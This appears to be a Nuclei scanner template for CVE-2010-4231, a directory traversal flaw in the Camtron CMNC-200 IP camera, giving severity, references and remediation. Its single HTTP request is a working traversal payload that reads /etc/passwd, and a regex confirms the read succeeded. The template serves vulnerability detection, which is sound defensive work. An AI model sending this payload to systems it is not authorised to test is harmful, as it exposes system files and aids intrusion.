id: CVE-2010-4231

info:
  name: Camtron CMNC-200 IP Camera - Directory Traversal
  author: daffainfo
  severity: high
  description: The CMNC-200 IP Camera has a built-in web server that is vulnerable to directory transversal attacks, allowing access to any file on the camera file system.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files and directories on the camera.
  remediation: Upgrade to a supported product version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4231
    - https://www.exploit-db.com/exploits/15505
    - https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt
    - http://www.exploit-db.com/exploits/15505/
    - https://github.com/K3ysTr0K3R/CVE-2010-4231-EXPLOIT
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2010-4231
    cwe-id: CWE-22
    epss-score: 0.10822
    epss-percentile: 0.93467
    cpe: cpe:2.3:a:camtron:cmnc-200_firmware:1.102a-008:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: camtron
    product: cmnc-200_firmware
  tags: cve,cve2010,iot,lfi,camera,edb,camtron,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f6fde302010a91db2a745c24edb5993f5fbb850e34b71ce0404f7a705c7ba17d022100903b5a5d523c97382f2955743abebecec6cfffc4518487684094fd4fe6e000ef:922c64590222798bb761d5b6d8e72950